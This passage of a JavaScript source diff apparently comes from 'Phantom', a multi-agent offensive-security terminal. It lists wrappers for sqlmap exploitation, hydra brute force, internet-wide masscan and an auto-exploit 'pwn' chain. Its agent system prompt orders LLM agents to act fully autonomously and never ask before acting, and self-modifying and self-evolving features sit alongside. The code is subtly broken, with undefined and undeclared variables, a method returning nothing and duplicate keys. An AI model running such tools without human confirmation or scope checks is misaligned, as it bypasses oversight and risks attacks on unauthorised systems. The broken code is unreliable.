Format: name|content. Saves to ~/.config/phantom/reports/.", + session_save: "Save current Phantom session state. Input: session name (alphanumeric).", + session_load: "Load a saved Phantom session. Input: session name.", + code_gen: "Generate code via OpenAI LLM (requires OPENAI_API_KEY). Format: prompt|language|output_path.", + self_add_tool: "Auto-generate AND auto-integrate a new tool via LLM. Modifies both TS and MJS source, rebuilds, rolls back on failure. Input: tool description.", + knowledge_add: "Add an entry to Phantom's persistent knowledge base. Format: tag1,tag2|content.", + knowledge_search: "Search Phantom's knowledge base by tag or keyword. Input: search query.", + brain: "Search Phantom's entire learned knowledge: books, knowledge findings, and auto-extracted techniques. For use when you need to recall what you learned across sessions. Format: search query or tag.", + hackbook: "Zero-day vulnerability taxonomy and security reference. Browse topics: @hackbook or search: @hackbook|buffer overflow, @hackbook|UAF, @hackbook|CVE-2025, etc.", + playbook_create: "Create a new multi-step automation playbook. Uses LLM if OPENAI_API_KEY set. Input: name|description.", + playbook_list: "List all available playbooks (built-in + custom).", + playbook_run: "Execute a playbook against a target. Input: name|target=example.com.", + playbook_edit: "Edit a playbook: edit steps, update description, or append steps.", + geoip: "IP geolocation lookup. Shows country, region, city, ISP, ASN. Input: IP or domain.", + dns_zone: "Test DNS zone transfer (AXFR) on all name servers. Input: domain.", + http_methods: "Fuzz HTTP methods on a URL. Tests GET, POST, PUT, DELETE, etc. Input: URL.", + robots_txt: "Fetch and analyze robots.txt. Shows rules, disallowed paths, sitemaps. Input: domain or URL.", + email_verify: "Validate email format and check domain MX records. Input: email address.", + reverse_dns: "Reverse DNS lookup (PTR record) for an IP address. Input: IP.", + wayback: "Query Wayback Machine for historical URL snapshots. Input: domain or URL.", + cert_expiry: "Check SSL certificate expiry date and days remaining. Input: domain.", + cors_test: "Test for CORS misconfigurations with various Origin headers. Input: URL.", + jwt_decode: "Decode JWT token header and payload without verification. Input: JWT string.", + hash_crack: "Look up MD5 hash in online rainbow tables. Input: MD5 hash.", + dir_bruteforce: "Web directory brute force: probes 30+ common paths. Input: URL or domain.", + xss_scan: "Cross-Site Scripting scanner: injects XSS payloads, checks reflection. Input: URL.", + sql_detect: "SQL Injection detection: sends SQLi payloads, checks error signatures. Input: URL.", + open_redirect: "Open redirect scanner: tests 15 common redirect params. Input: URL.", + shodan_search: "Search Shodan for connected devices. Requires SHODAN_API_KEY. Input: query.", + email_breach: "Check email in known data breaches via HIBP API. Requires HIBP_API_KEY. Input: email.", + github_dork: "Search GitHub code for secrets and keys. Input: search query.", + sub_takeover: "Check subdomain for CNAME takeover (AWS, GitHub, Heroku, etc.). Input: domain.", + js_analyze: "Deep JS bundle analysis — find API keys, secrets, API endpoints, XSS sinks. Input: URL to JS file.", + upload_test: "Test file upload endpoints for XXE, YAML deserialization, polyglot. Format: url|mode (xxe/polyglot/all).", + rate_limit_test: "Test rate limiting, timing attacks, race conditions. Format: url|mode|count. Modes: burst/timing/race/all.", + env: "Show detected environment: OS, tools, packages, network, resources.", + batch: "Run multiple tool calls sequentially (one per line, lines starting with # ignored). Bypasses agent loop for fast multi-step tasks.", + install_missing: "Auto-install missing security tools via package manager. Options: tool name or 'all'.", + rollback: "Save/restore git state for safe self-evolution. Commands: save | restore | status.", + self_integrate: "Auto-integrate a generated .mjs module into hackerTools + registry. Input: path to .mjs file.", + graph: "Query knowledge graph: tool ↔ books/CVEs/tags. Empty input shows all links.", + cron: "Schedule/manage periodic tasks: cve_now (run now), cve_daily (daily CVE scan).", + browser_auto: "Launch headless Playwright browser, load URL, return rendered HTML. Supports --screenshot, --html, --text flags. Input: URL [flags].", + plugin_load: "Load external plugin tools from plugins directory. Input: optional path.", + plugin_create: "Create a new plugin skeleton. Format: name|description.", + report_export: "Export report to styled HTML (Ctrl+P → PDF). Input: report name.", + distro: "Show current Linux distro info and manage proot-distro environments. Commands: info, list, run .", + llm_config: "Configure LLM provider: list, switch, set API keys. Usage: list | | set KEY value | model name.", + youtube_summarize: "Download YouTube video transcript, summarize via LLM, and save as playbook. Format: youtube_url. Requires yt-dlp.", + hackbook: "Vulnerability learning database — search by type (sql-injection, xss, csrf, ssrf, rce, lfi, idor, etc.). Shows description, impact, testing, mitigation, tools. Format: search term. Use 'list' for all categories.", + code_analyze: "Deep source code security analysis. Scans files for OWASP Top 10, hardcoded secrets, insecure patterns. Generates report + optional LLM analysis. Format: file or directory path.", + self_improve: "Analyze Phantom's own source and suggest improvements. Scans phantom.mjs for code quality, performance, security, feature gaps. Format: optional focus (performance|security|features|all).", + self_evolve: "Run full auto-evolution pipeline: detect missing tool wrappers, fix syntax, optimize, validate. Also auto-analyzes tool errors. Format: optional 'status' to view evolution state.", + install: "Auto-detect package manager and install security tools. Format: tool_name (nmap, sqlmap, metasploit, searchsploit, ffuf, hydra, john, gobuster, nikto, wireshark, burpsuite, etc.). Detects apt/pkg/brew/pip.", + update: "Self-update Phantom via git pull. Checks for updates, pulls latest code, re-verifies syntax, reports diff. Format: optional 'force' to skip confirmation.", + batch: "Multi-target batch processing. Format: file_path|tool_name. Reads targets from a file (one per line) and runs the specified tool against each. Aggregates results into one report.", + schedule: "Schedule recurring scans. Format: interval|tool|target. Interval: 'daily', 'hourly', '30m', or cron expression. Example: @schedule|daily|recon|example.com", + agent_memory: "View or manage agent conversation memory. Format: list | | clear. Agents: Lyra, Nova, Orion, Vega, Atlas, Helios, Selene, Aether.", + fuzz: "Web fuzzing engine. Discovers hidden paths, parameters, and files via concurrent HTTP requests with a built-in common wordlist. Format: url|wordlist_type (common, admin, backup, params, php, asp, jsp, custom:path.txt). Shows status, size, redirects. Input: https://target.com/FUZZ or https://target.com?param=FUZZ", + pwn: "Auto-exploit chain. Runs full recon, finds CVEs, searches exploit-db, and generates an exploit plan. Format: target|optional_port. Chains: recon → CVE search → exploit lookup → metasploit resource generation.", + web_click: "Navigate and click web page elements by index, link text, or URL. Input: url|selector|method (index/text/selector).", + web_links: "Extract and categorize all links from a page (internal/external/resources). Input: URL.", + web_form: "Extract HTML forms and submit with custom field values. Input: url|field1=val1|field2=val2.", + web_snapshot: "Get structured text snapshot of a page: headings, meta, links, content. Input: URL.", + project_create: "Create a new project workspace. Stores metadata in ~/.config/phantom/projects/. Input: project name.", + project_list: "List all projects with file/note counts and age. Input: none.", + project_info: "Show project details: created date, files, notes, tools used. Input: project name.", + project_file_add: "Add a file to a project by copying it into the project directory. Input: project|filepath.", + project_note: "Add or list project notes. Format: project|note_text (or just project name to list). Input: project|note.", + project_switch: "Set active project for context. Input: project name.", + scope: "Manage authorized target scope for bug bounty / pentesting. Commands: add , remove , check , clear, export. Use 'scope' alone to list all scoped targets. Input: command + args.", + katana: "External: ProjectDiscovery katana — fast web crawler for URL discovery. Supports depth, rate-limit, JS extraction. Input: url [options]. Requires katana binary installed.", + subfinder: "External: ProjectDiscovery subfinder — passive subdomain enumeration using multiple sources (crt.sh, certspotter, hackertarget, etc.). Input: domain [options]. Requires subfinder binary.", + ffuf: "External: ffuf — blazing-fast web fuzzer by Joohansson. Discovers hidden paths, parameters, vhosts. Supports built-in wordlists. Input: ffuf args. Requires ffuf binary.", + httpx: "External: ProjectDiscovery httpx — probe for alive web servers. Detects status, title, tech stack, IP. Input: domain or file. Requires httpx binary.", + nuclei: "External: ProjectDiscovery nuclei — template-based vulnerability scanner. Scans CVEs, exposures, misconfigs. Input: URL [options]. Requires nuclei binary.", + amass: "External: OWASP amass — thorough subdomain enumeration. Modes: enum, intel, db. Input: domain [mode] [options]. Requires amass binary.", + gau: "External: getallurls (lc/gau) — fetch known URLs from Wayback/AlienVault/CommonCrawl. Input: domain. Requires gau binary.", + dnsx: "External: ProjectDiscovery dnsx — DNS resolution toolkit. Multi-record type resolver. Input: domain. Requires dnsx binary.", + gitleaks: "External: gitleaks — git repository secret scanner. Detects accidental credential commits. Input: repo path. Requires gitleaks binary.", + s3scanner: "External: s3scanner — find S3 buckets and check permissions. Input: bucket name or file. Requires s3scanner binary.", + gobuster: "External: gobuster — directory, DNS, and vhost brute-forcing. Modes: dir, dns, vhost, fuzz. Input: mode|opts. Requires gobuster binary.", + nmap: "Wrapper around nmap — industry-standard port scanner. SYN scan, version detection, NSE scripts, OS fingerprint. Input: target [options]. Requires nmap binary.", + sqlmap: "Wrapper around sqlmap — automated SQL injection detection and exploitation. Input: sqlmap args. Requires sqlmap binary.", + whatweb: "Web technology fingerprinting — identifies CMS, frameworks, JS libs, servers. Input: URL. Requires whatweb binary.", + wafw00f: "Web Application Firewall detection and fingerprinting. Input: URL. Requires wafw00f binary.", + trufflehog: "Secret scanner for git repos, filesystems, and S3 buckets. Input: type|target. Requires trufflehog binary.", + hydra: "Online password brute-force via hydra. Supports SSH, FTP, HTTP, MySQL, RDP, etc. Input: target|proto|user|passwords. Requires hydra binary.", + masscan: "Ultra-fast port scanner (can scan entire internet). Input: target [options]. Requires masscan binary (root).", + nikto: "Web server scanner — outdated files, config issues, known vulns. Input: URL [options]. Requires nikto binary.", + arjun: "HTTP parameter discovery — finds hidden GET/POST parameters. Input: URL [options]. Requires arjun binary (pip).", + gospider: "Web spider/crawler — discovers links, forms, scripts, S3 buckets. Input: URL [options]. Requires gospider binary.", + cloud_enum: "Cloud resource enumeration — S3, Azure Blobs, GCP buckets. Input: keyword. Requires cloud_enum binary (pip).", + notify: "Send notifications to Slack/Telegram/Discord/webhooks. Input: message. Requires notify binary. Setup: projectdiscovery/notify", + interactsh: "Out-of-band interaction/request bin for blind vuln detection (SSRF, XSS). Actions: start, poll, stop. Requires interactsh-client binary.", + }; + for (const [name, desc] of Object.entries(toolList)) { + if (name === "delegate") { + this.tools[name] = { description: desc, execute: async (args) => { + if (!this.manager) return "[Error] No agent manager available."; + const sep = args.indexOf("|"); + if (sep === -1) return "[Error] Usage: @delegate|agent_name|task_description"; + const agentName = args.slice(0, sep).trim(); + const task = args.slice(sep + 1).trim(); + return this.manager.delegate(this.id, agentName, task); + }}; + } else if (name === "fanout") { + this.tools[name] = { description: desc, execute: async (args) => { + if (!this.manager) return "[Error] No agent manager available."; + const sep = args.indexOf("|"); + if (sep === -1) return "[Error] Usage: @fanout|agent1,agent2|task"; + const agents = args.slice(0, sep).trim(); + const task = args.slice(sep + 1).trim(); + return this.manager.fanOut(this.id, agents, task); + }}; + } else if (name === "synthesize") { + this.tools[name] = { description: desc, execute: async (args) => { + if (!this.manager) return "[Error] No agent manager available."; + const sep = args.indexOf("|"); + if (sep === -1) return "[Error] Usage: @synthesize|request|raw_results"; + const request = args.slice(0, sep).trim(); + const results = args.slice(sep + 1).trim(); + return this.manager.synthesize(this.id, request, results); + }}; + } else if (name === "workspace_write") { + this.tools[name] = { description: desc, execute: async (args) => { + if (!this.manager) return "[Error] No workspace available."; + const sep = args.indexOf("|"); + if (sep === -1) return "[Error] Usage: @workspace_write|key|value"; + const key = args.slice(0, sep).trim(); + const value = args.slice(sep + 1).trim(); + this.manager.workspace[key] = value; + return `[Workspace] Written key "${key}" (${value.length} chars)`; + }}; + } else if (name === "workspace_read") { + this.tools[name] = { description: desc, execute: async (args) => { + if (!this.manager) return "[Error] No workspace available."; + const key = args.trim(); + return this.manager.workspace[key] !== undefined + ? `[Workspace] "${key}" = ${this.manager.workspace[key]}` + : `[Workspace] Key "${key}" not found.`; + }}; + } else { + this.tools[name] = { description: desc, execute: hackerTools[name] }; + } + } + } + + getToolDescriptions() { + return Object.entries(this.tools) + .map(([name, t]) => `${name}: ${t.description}`) + .join("\n"); + } + + async receive(from, content) { + this.memory.push({ from, content, ts: Date.now() }); + saveMemory(this._slug, this.memory); + this.status = "thinking"; + this.bus.emit("tick"); + + let response; + if (this.llm?.hasLLM && this.llm.chat) { + // ── ReAct Loop: LLM can use tools ── + response = await this.react(content, from); + } else { + // No LLM: show available capabilities + const caps = Object.keys(this.tools).join(", ") || "none"; + response = `[${this.name} lv${this.evolutionLevel}] No LLM configured.\nAvailable tools: ${caps}\nUse @llm_config to set up a provider (e.g. @llm_config|openai).`; + } + + this.status = "speaking"; + this.bus.emit("tick"); + this.memory.push({ from: this.id, content: response, ts: Date.now() }); + saveMemory(this._slug, this.memory); + + this.status = "idle"; + this.bus.emit("agent:msg", { agent: this, text: response }); + this.bus.emit("tick"); + } + + async react(userInput, from) { + const systemPrompt = this.buildSystemPrompt(userInput); + const maxIter = parseInt(process.env.PHANTOM_MAX_ITER) || 100; + let iterCount = 0; + let messages = [{ role: "system", content: systemPrompt }]; + const MAX_HISTORY_TURNS = 12; + + for (let iter = 0; iter < maxIter; iter++) { + const raw = await this.llm.chat(messages); + const text = raw.trim(); + const toolMatches = [...text.matchAll(/^@(\w+)\|(.*)$/gm)]; + if (toolMatches.length > 0) { + iterCount += toolMatches.length; + this.status = "executing"; + this.bus.emit("tick"); + // Emit thinking comment — text before first @tool + const thinkEnd = text.search(/^@\w+\|/m); + if (thinkEnd > 0) { + const comment = text.slice(0, thinkEnd).replace(/\n+/g, " ").trim(); + if (comment.length > 10) this.bus.emit("agent:think", comment.slice(0, 200)); + } + for (const tm of toolMatches) this.bus.emit("agent:tool:plan", { tool: tm[1], args: tm[2].trim() }); + const results = []; + const toolFailures = {}; + for (const tm of toolMatches) { + const toolName = tm[1], args = tm[2].trim(), tool = this.tools[toolName], errKey = `${toolName}|${args}`; + if ((toolFailures[errKey] || 0) >= 2) { results.push(`[${toolName}]: SKIPPED — repeated failure`); continue; } + if (tool) { + this.bus.emit("agent:tool:start", { tool: toolName, args }); + try { + if (toolName === "pipe" && args.includes("|")) { + const { runPipe: rp } = await import("./lib/runtime.mjs"); + const result = await rp(this.tools, args); + const truncated = result.length > 3000 ? result.substring(0, 3000) + "\n[TRUNCATED]" : result; + results.push(`[Pipe]:\n${truncated}`); + } else { + const result = await tool.execute(args); + const truncated = result.length > 3000 ? result.substring(0, 3000) + "\n[TRUNCATED]" : result; + results.push(`[${toolName}]:\n${truncated}`); + } + } catch (err) { + results.push(`[${toolName}]: ERROR — ${err.message}`); + toolFailures[errKey] = (toolFailures[errKey] || 0) + 1; + } + } else { + results.push(`[${toolName}]: Unknown tool. Available: ${Object.keys(this.tools).join(", ")}`); + toolFailures[errKey] = (toolFailures[errKey] || 0) + 1; + } + } + messages.push({ role: "assistant", content: text }); + messages.push({ role: "user", content: `[Tool results] (${toolMatches.length} tools):\n${results.join("\n\n")}\n\nAnalyze results and continue.` }); + const sysMsg = messages[0], historyPairs = messages.slice(1); + if (historyPairs.length > MAX_HISTORY_TURNS * 2) messages = [sysMsg, ...historyPairs.slice(-MAX_HISTORY_TURNS * 2)]; + continue; + } + if (iterCount >= 2) this.evolve(); + return text; + } + return `[Autonomous workflow interrupted after ${maxIter} iterations.]`; + } + + buildSystemPrompt(userInput) { + const toolsDesc = this.getToolDescriptions(); + const toolCount = Object.keys(this.tools).length; + const ctx = this.memory.slice(-16).map(m => `${m.from}: ${m.content?.substring(0, 300) || ""}`).join("\n"); + let roster = ""; + if (this.manager) { + const teammates = this.manager.list.filter(a => a.id !== this.id); + roster = `\nTEAMMATES (delegate via @delegate|name|task):\n${teammates.map(a => ` ${a.name} — ${a.role}`).join("\n")}\n`; + } + return `You are ${this.name}, a ${this.role}. +Persona: ${this.persona} +Version: Phantom ${PHANTOM_VERSION} | ${toolCount} tools | ${PHANTOM_LLM_PROVIDER} LLM +Evolution: ${this.evolutionLevel}${roster} + +TOOLS (@tool_name|args on its own line): +${toolsDesc} + +LEARNED KNOWLEDGE: +${loadLearned() || "(none yet)"} + +RULES: +1. Fully autonomous — plan and execute the workflow yourself. +2. @tool_name|args on its OWN LINE. One tool per line. +3. After tool results, continue: more tools or final answer. +4. Never ask "what next" — just do it. +5. Plain text only — no markdown formatting. + +Recent context: +${ctx} + +User: ${userInput}`; + } + + evolve() { + this.evolutionLevel++; + this.bus.emit("agent:evolved", { agent: this, level: this.evolutionLevel }); + // Auto-learning: save workflow summary to knowledge base + const mem = this.memory?.slice?.(-4) || []; + const recentTools = mem.filter(m => m.content?.startsWith("[") && m.content.includes("]")); + if (recentTools.length > 0) { + const log = recentTools.map(m => m.content?.substring(0, 120)).join("; "); + if (log.length > 20) { + try { + if (!fs.existsSync(KNOWLEDGE_DIR)) fs.mkdirSync(KNOWLEDGE_DIR, { recursive: true }); + const slug = "auto_learned_" + Date.now(); + fs.writeFileSync(resolve(KNOWLEDGE_DIR, `${slug}.json`), JSON.stringify({ + tags: ["auto-learned", "workflow"], + content: `Evolved to lv${this.evolutionLevel}: ${log}`, + created: new Date().toISOString() + }, null, 2), "utf-8"); + } catch {} + } + } + } +} + +// ── Agent Manager ───────────────────────────────────────── +class AgentManager { + constructor(llm) { + this.agents = new Map(); + this.llm = llm; + this.workspace = {}; // shared key-value store + } + + spawn(name, role, persona) { + const a = new Agent(name, role, persona, this.llm, this); + this.agents.set(a.id, a); + EventBus.i.emit("agent:spawned", a); + return a; + } + + spawnDefaults() { + ARCHETYPES.slice(0, 4).forEach(a => this.spawn(a.name, a.role, a.persona)); + } + + get list() { return [...this.agents.values()]; } + + /** Find agent by name (case-insensitive partial match) */ + findAgent(name) { + const n = name.toLowerCase(); + return this.list.find(a => a.name.toLowerCase() === n) || + this.list.find(a => a.role.toLowerCase() === n) || + this.list.find(a => a.name.toLowerCase().startsWith(n)); + } + + /** Delegate a task to a specific agent. Returns agent's response. */ + async delegate(fromId, agentName, task) { + const target = this.findAgent(agentName); + if (!target) return `[Error] No agent named "${agentName}". Available: ${this.list.map(a => a.name).join(", ")}`; + const from = this.agents.get(fromId); + const caller = from ? from.name : "system"; + target.status = "delegated"; + EventBus.i.emit("tick"); + const result = await target.receive(caller, `[DELEGATED TASK from ${caller}]\n${task}\n\nPlease complete this task and report back with results.`); + target.status = "idle"; + EventBus.i.emit("tick"); + return result; + } + + /** Fan-out: delegate same task to multiple agents in parallel */ + async fanOut(fromId, agentNames, task) { + const names = agentNames.split(/[,;&\s]+/).filter(Boolean); + const targets = names.map(n => this.findAgent(n)).filter(Boolean); + if (targets.length === 0) return "[Error] No matching agents found for fan-out."; + const from = this.agents.get(fromId); + const caller = from ? from.name : "system"; + results = await Promise.all(targets.map(async agent => { + agent.status = "delegated"; + EventBus.i.emit("tick"); + const result = await agent.receive(caller, `[PARALLEL TASK from ${caller}]\n${task}\n\nWork independently and report your findings.`); + agent.status = "idle"; + EventBus.i.emit("tick"); + return `[${agent.name} — ${agent.role}]\n${result}`; + })); + return results.join("\n\n---\n\n"); + } + + /** Synthesize: ask coordinator to merge multi-agent results */ + async synthesize(fromId, request, rawResults) { + const lyra = this.findAgent("Lyra") || this.list[0]; + if (!lyra) return rawResults; + const from = this.agents.get(fromId); + const caller = from ? from.name : "system"; + lyra.status = "thinking"; + const result = await lyra.receive(caller, + `[SYNTHESIS REQUEST]\nOriginal request: ${request}\n\nRaw results from specialists:\n${rawResults}\n\nSynthesize these findings into a clear, actionable report. Merge duplicates, highlight critical findings, and organize by priority.`); + lyra.status = "idle"; + return result; + } + + async broadcast(fromId, text) { + const from = this.agents.get(fromId); + if (!from) return; + await Promise.all([...this.agents].filter(([id]) => id !== fromId).map(([, a]) => a.receive(from.name, text))); + } + + async debate(topic) { + const all = this.list; + if (all.length < 2) return; + await Promise.all(all.slice(1).map(a => a.receive(all[0].name, `Let's debate: ${topic}`))); + } + + evolveAll() { this.list.forEach(a => a.evolve()); } + remove(id) { this.agents.delete(id); EventBus.i.emit("agent:removed", id); } + get count() { return this.agents.size; } +} + +// ── Environment Detection ───────────────────────────────── +const ENV = (() => { + const isTTY = !!process.stdin.isTTY; + const isTermux = !!(process.env.TERMUX_VERSION || process.env.PREFIX?.startsWith("/data/data/com.termux")); + const isProot = !!(process.env.PROOT_CWD || release().includes("PRoot") || process.env.PROOTFS_DIR); + const isCI = !!process.env.CI || !!process.env.GITHUB_ACTIONS; + const isWindows = process.platform === "win32"; + const isWSL = process.env.WSL_DISTRO_NAME || (process.env.OS?.includes("Linux") && isWindows); + const isTmux = !!process.env.TMUX; + const isScreen = !!process.env.STYLE; + const term = (process.env.TERM || "unknown").toLowerCase(); + const colorterm = (process.env.COLORTERM || "").toLowerCase(); + + // Detect terminal emulator + let terminal = "unknown"; + if (isTermux) terminal = "termux"; + else if (term.includes("kitty")) terminal = "kitty"; + else if (term.includes("alacritty")) terminal = "alacritty"; + else if (term.includes("gnome")) terminal = "gnome"; + else if (term.includes("konsole")) terminal = "konsole"; + else if (term.includes("tmux")) terminal = "tmux"; + else if (isTmux) terminal = "tmux"; + else if (isScreen) terminal = "screen"; + else if (term.includes("xterm")) terminal = "xterm"; + else if (term.includes("vt100") || term.includes("vt220")) terminal = "legacy"; + else if (term.includes("linux")) terminal = "linux-console"; + else if (isWindows) terminal = "windows-console"; + else if (process.env.TERM_PROGRAM === "iterm2") terminal = "iterm2"; + else if (process.env.TERM_PROGRAM === "Apple_Terminal") terminal = "apple-terminal"; + else if (process.env.VSCODE_INJECTION) terminal = "vscode"; + else if (process.env.TERMINAL_EMULATOR === "JetBrains-JediTerm") terminal = "jetbrains"; + + // Detect color capability + let colors = 16; + if (colorterm === "truecolor" || colorterm === "24bit" || + term.includes("truecolor") || term.includes("24bit") || + terminal === "kitty" || terminal === "iterm2" || + process.env.COLORTERM === "truecolor" || + process.env.COLORTERM === "24bit") { + colors = 16777216; // truecolor + } else if (term.includes("256") || term.includes("xterm") || terminal === "gnome" || terminal === "konsole") { + colors = 256; + } + + // Detect screen size + const getWinSize = () => { + try { + if (process.stdout.getWindowSize) { + const [c, r] = process.stdout.getWindowSize(); + return { cols: Math.max(c, 20), rows: Math.max(r, 10) }; + } + } catch {} + return { cols: 80, rows: 24 }; + }; + + const { cols, rows } = getWinSize(); + let screenSize = "medium"; + if (cols < 60 || rows < 15) screenSize = "tiny"; + else if (cols < 80 || rows < 24) screenSize = "small"; + else if (cols >= 120 && rows >= 40) screenSize = "large"; + else if (cols >= 160 && rows >= 50) screenSize = "huge"; + + // Detect platform + let platform = process.platform; + if (isTermux) platform = "termux"; + if (isWSL) platform = "wsl"; + + // Detect mobile/touch + let inputMode = "keyboard"; + if (isTermux) { + if (process.env.TERMUX_APP__DATA_DIR || process.env.TERMUX_VERSION) { + // Check if touch keyboard might be used + inputMode = process.env.TERMUX__PERCENTAGE ? "touch" : "keyboard"; + } + } + + return { + tty: isTTY, + interactive: isTTY && !isCI, + platform, + terminal, + colors, + hasTrueColor: colors >= 16777216, + has256: colors >= 256, + cols, + rows, + screenSize, + inputMode, + isTermux, + isProot, + isTmux, + isWSL, + isWindows, + term, + }; +})(); +__r.ENV = ENV; +populateEnv(ENV); + +// Restore session + auto-link knowledge graph +const session = loadSession(); +if (session?.stats) { + __r._sessionRestored = session; +} +const linked = autoLinkFromBooks(); +if (linked > 0) log.debug(`knowledge graph: ${linked} tool↔book links restored`); + +// Auto-install missing security tools (background, non-blocking) +autoInstallSecurity(__r.ENV, (msg) => log.ok(msg)); + +// ── ANSI adapters (based on color capability) ───────────── +const ansi = (() => { + const useBasic = !ENV.has256; + const use256 = ENV.has256 && !ENV.hasTrueColor; + + if (useBasic) { + // 16 color palette + const map = { + bg: 0, fg: 7, green: 2, cyan: 6, magenta: 5, yellow: 3, red: 1, dim: 8, + border: 4, borderFocus: 5, titleBg: 0, panelBg: 0, + }; + return { + fg: (name) => `\x1b[3${map[name] || 7}m`, + bg: (name) => `\x1b[4${map[name] || 0}m`, + fgrgb: () => "", + bgrgb: () => "", + reset: "\x1b[0m", + bold: "\x1b[1m", + dim: "\x1b[2m", + uline: "\x1b[4m", + }; + } + + if (use256) { + const map256 = { + bg: 16, fg: 188, green: 46, cyan: 45, magenta: 199, yellow: 214, red: 196, + dim: 60, border: 61, borderFocus: 99, titleBg: 17, panelBg: 16, + }; + const fg = (name) => `\x1b[38;5;${map256[name] || 188}m`; + const bg = (name) => `\x1b[48;5;${map256[name] || 16}m`; + const fgrgb = () => ""; + const bgrgb = () => ""; + return { fg, bg, fgrgb, bgrgb, reset: "\x1b[0m", bold: "\x1b[1m", dim: "\x1b[2m", uline: "\x1b[4m" }; + } + + // True color + const col = { bg: [10,10,26], fg: [192,192,224], green: [0,255,136], cyan: [0,204,255], + magenta: [255,0,204], yellow: [255,136,0], red: [255,34,68], dim: [51,51,85], + border: [68,68,170], borderFocus: [136,68,255], titleBg: [26,26,58], panelBg: [13,13,36] }; + const fg = (name) => `\x1b[38;2;${col[name].join(";")}m`; + const bg = (name) => `\x1b[48;2;${col[name].join(";")}m`; + const fgrgb = (r,g,b) => `\x1b[38;2;${r};${g};${b}m`; + const bgrgb = (r,g,b) => `\x1b[48;2;${r};${g};${b}m`; + return { fg, bg, fgrgb, bgrgb, reset: "\x1b[0m", bold: "\x1b[1m", dim: "\x1b[2m", uline: "\x1b[4m" }; +})(); + +const R = ansi.reset, B = ansi.bold, D = ansi.dim; +const c = (name) => ansi.fg(name); +const agentFg = (ac) => ENV.hasTrueColor ? `\x1b[38;2;${ac[0]};${ac[1]};${ac[2]}m` : + ENV.has256 ? `\x1b[38;5;${16 + (ac[0]*6/256|0)*36 + (ac[1]*6/256|0)*6 + (ac[2]*6/256|0)}m` : + ""; +const BG = (name) => ansi.bg(name); +const at = (c, r) => `\x1b[${r};${c}H`; +const cls = "\x1b[2J"; +const home = "\x1b[H"; +const hide = "\x1b[?25l"; +const show = "\x1b[?25h"; +const mono = !ENV.has256; + +// Terminal raw mode helpers +let rawMode = false; +function raw(on) { + if (on && !rawMode && process.stdin.isTTY) { + try { process.stdin.setRawMode(true); rawMode = true; } catch {} + } else if (!on && rawMode) { + try { process.stdin.setRawMode(false); rawMode = false; } catch {} + } +} + +function getSize() { + try { + if (process.stdout.getWindowSize) { + const [c, r] = process.stdout.getWindowSize(); + return { cols: Math.max(c, 20), rows: Math.max(r, 10) }; + } + } catch {} + return { cols: ENV.cols || 80, rows: ENV.rows || 24 }; +} + +// ── Desktop Mode ────────────────────────────────────────── +class DesktopUI { + constructor(am) { + this.am = am; + this.bus = EventBus.i; + this.logs = new Map(); // agentId -> string[] + this.globalLog = []; + this.focused = 0; + this.panelOrder = []; + this.cmdMode = false; + this.cmdBuf = ""; + this.running = true; + + this.bus.on("agent:spawned", (a) => { + this.panelOrder.push(a.id); + if (!this.logs.has(a.id)) this.logs.set(a.id, []); + this.log(a.id, `${c("green")}◈${R} ${B}${a.name}${R} spawned [${D}${a.role}${R}]`); + this.render(); + }); + + this.bus.on("agent:msg", ({ agent, text }) => { + this.log(agent.id, `${agentFg(agent.color)}${agent.name}${R} ${D}»${R} ${text}`); + this.render(); + }); + + this.bus.on("agent:evolved", ({ agent, level }) => { + this.log(agent.id, `${c("magenta")}⬆${R} ${B}${agent.name}${R} → level ${level}`); + this.render(); + }); + + this.bus.on("agent:removed", (id) => { + this.panelOrder = this.panelOrder.filter(p => p !== id); + if (this.focused >= this.panelOrder.length) this.focused = Math.max(0, this.panelOrder.length - 1); + this.logAll(`${c("red")}✕${R} Agent ${D}${id}${R} removed`); + this.render(); + }); + + this.bus.on("tick", () => this.render()); + } + + log(id, msg) { + if (!this.logs.has(id)) this.logs.set(id, []); + this.logs.get(id).push(msg); + if (this.logs.get(id).length > 200) this.logs.get(id).shift(); + } + + logAll(msg) { + this.panelOrder.forEach(id => this.log(id, msg)); + } + + getPanelCount() { + return Math.max(1, this.panelOrder.length); + } + + getLayout() { + const n = this.getPanelCount(); + const cols = Math.ceil(Math.sqrt(n)); + const rows = Math.ceil(n / cols); + return { cols, rows }; + } + + render() { + if (!this.running) return; + const { cols: termW, rows: termH } = getSize(); + if (termH < 6 || termW < 20) return; + + const headerH = 1; + const footerH = 1; + const cmdH = this.cmdMode ? 1 : 0; + const contentH = termH - headerH - footerH - cmdH; + if (contentH < 1) return; + + const { cols: gridCols, rows: gridRows } = this.getLayout(); + const pW = Math.floor(termW / gridCols); + const pH = Math.floor(contentH / gridRows); + + let out = cls + home + hide; + + // ── Header ── + const agents = this.am.list; + const thinking = agents.filter(a => a.status === "thinking").length; + const statusStr = thinking > 0 ? `${c("yellow")}🧠 ${thinking} thinking${R}` : `${c("green")}⚡ idle${R}`; + out += `${BG("titleBg")}${c("green")}${B} PHANTOM${R}${BG("titleBg")} ${D}space evolving terminal${R}${BG("titleBg")} ${D}|${R}${BG("titleBg")} agents: ${agents.length} ${D}|${R}${BG("titleBg")} ${statusStr}${R}`; + out += " ".repeat(Math.max(0, termW - 60)) + "\n"; + + // ── Panels ── + for (let i = 0; i < this.panelOrder.length && i < gridCols * gridRows; i++) { + const id = this.panelOrder[i]; + const agent = this.am.agents.get(id); + const col = i % gridCols; + const row = Math.floor(i / gridCols); + const x = col * pW + 1; + const y = row * pH + headerH + 1; + const isFocused = i === this.focused; + const borderFg = isFocused ? ansi.fg("borderFocus") : ansi.fg("border"); + + // top border + out += `${at(x, y)}${borderR}┌${borderR}${"─".repeat(Math.max(0, pW - 2))}${borderR}┐${R}`; + + if (agent) { + const label = ` ${B}${agent.name}${R} ${D}[${agent.role}]${R} `; + const labelLen = agent.name.length + agent.role.length + 5; + const labelX = x + 2; + if (labelX + labelLen < x + pW - 2) { + out += `${at(labelX, y)}${label}`; + } + } + + // body + const logs = this.logs.get(id) || []; + const bodyH = pH - 2; + const start = Math.max(0, logs.length - bodyH); + for (let l = 0; l < bodyH; l++) { + const ly = y + 1 + l; + if (ly >= termH) break; + out += `${at(x, ly)}${borderR}${R}${BG("panelBg")} ${R}`; + const logIdx = start + l; + if (logIdx < logs.length) { + let line = logs[logIdx]; + const maxW = pW - 3; + if (line.length > maxW) line = line.substring(0, maxW - 1) + "…"; + out += `${BG("panelBg")}${line}${R}`; + } + out += " ".repeat(Math.max(0, pW - 2)); + out += `${at(x + pW - 1, ly)}${borderR}${R}`; + } + + // bottom border + const by = y + bodyH + 1; + if (by < termH) { + out += `${at(x, 